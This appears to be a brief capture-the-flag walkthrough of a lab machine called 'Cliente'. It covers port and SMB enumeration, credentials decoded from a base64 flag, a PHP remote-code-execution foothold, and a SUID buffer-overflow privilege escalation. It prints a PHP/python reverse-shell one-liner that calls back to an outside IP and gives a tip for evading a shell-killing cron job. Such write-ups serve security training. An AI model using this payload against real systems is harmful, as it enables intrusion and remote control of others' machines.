Cliente — Evolve Security (10.50.156.133)

sudo nmap cliente -p- -A -sV -sC

#evolve security#evolve#walkthrough#boxes#os:linux#tech:rce#tech:buffer-overflow#tech:suid

Cliente — Evolve Security (10.50.156.133)

Information Gathering

🐺 howlsec@kalibash

$sudo nmap cliente -p- -A -sV -sC
$21/tcp   open  ftp      vsftpd (Anonymous FTP allowed; flag.txt, writable ftp/ dir)
$22/tcp   open  ssh      OpenSSH 7.2p2 Ubuntu
$80/tcp   open  http     nginx 1.10.3 (Welcome to nginx!)
$111/2049 open  rpcbind / nfs
$3306/tcp open  mysql    MySQL 5.7.33

SMB enumeration -> creds

🐺 howlsec@kalishell

$enum4linux -a cliente
$smbmap -H cliente
$smbclient -L //cliente
$smbclient //cliente/josephine        # readable share
$# FLAG1.txt is base64:
$echo "RmxhZzF7...d29ybGR9CnVzZXI6am9zZXBoaW5lCnBhc3N3b3JkOmRvb3Irb3Blbgo" | base64 -d
$# Flag1{...}  user:josephine  password:door+open
$cat message_from_jujhar.txt   # note asking Josephine to reset Jujhar's password

Credentials recovered: josephine : door+open.

Foothold: PHP HTML parser RCE (admin.php)

The HTML parser on admin.php runs supplied PHP via shell_exec. A cron kills nc/bash/sh shells, so use a PHP shell in uploads/ or copy nc/bash to /tmp:

🐺 howlsec@kaliphp

01<?php system("python2 -c "import os,pty,socket;s=socket.socket();s.connect(('10.10.10.10',9009));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn('/bin/bash')"") ?>

Privesc: SUID buffer overflow

A SUID binary with source in the app folder is exploited via stack buffer overflow (bof.py, two SSH sessions) to reach root and read proof.txt.